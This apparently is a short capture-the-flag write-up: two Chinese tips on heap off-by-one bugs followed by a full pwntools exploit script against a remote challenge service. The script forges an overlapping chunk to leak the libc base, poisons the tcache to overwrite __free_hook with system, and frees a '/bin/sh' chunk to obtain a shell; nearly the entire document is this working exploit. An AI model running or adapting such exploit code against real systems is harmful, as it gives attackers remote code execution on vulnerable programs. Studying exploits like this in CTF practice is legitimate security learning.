off-by-one

参考博客

  • off-by-one确实比off-by-null好打多了
  • 注意off-by-one构造overlapping chunk的时候要使得通过size找到的chunk的prev_inuse=1
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/vuln")
p=remote('10.131.221.99',53721)
elf = ELF("/home/zp9080/PWN/vuln")
libc=elf.libc
def dbg():
    gdb.attach(p,'b *¥rebase(0x181C)')
    pause()


def add(idx,size):
    p.sendlineafter(">>> ",str(1))
    p.sendlineafter("please input chunk_idx: ",str(idx))
    p.sendlineafter("Enter chunk size: ",str(size))

def delete(idx):
    p.sendlineafter(">>> ",str(2))
    p.sendlineafter("please input chunk_idx: ",str(idx))

def show(idx):
    p.sendlineafter(">>> ",str(3))
    p.sendlineafter("please input chunk_idx: ",str(idx))

def edit(idx,content):
    p.sendlineafter(">>> ",str(4))
    p.sendlineafter("please input chunk_idx: ",str(idx))
    p.send(content)


for i in range(7):
        add(i,0xb0)
for i in range(7):
    delete(i)
    
# off-by-one to leak libc_base 
for i in range(6):
    add(i,0x28)#0-5
edit(0,'a'*0x28+'\xc1')
delete(1)
add(1,0x28) #切割unsorted bin
show(2)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0
free_hook=libcbase+libc.sym['__free_hook']
system_addr=libcbase+libc.sym['system']

#打tcache poison
delete(4)
delete(3)
add(6,0x70)
edit(6,b'a'*0x20+p64(0)+p64(0x31)+p64(free_hook))
add(3,0x28)
edit(3,b'/bin/sh\x00')
add(4,0x28)
edit(4,p64(system_addr))
delete(3)

p.interactive()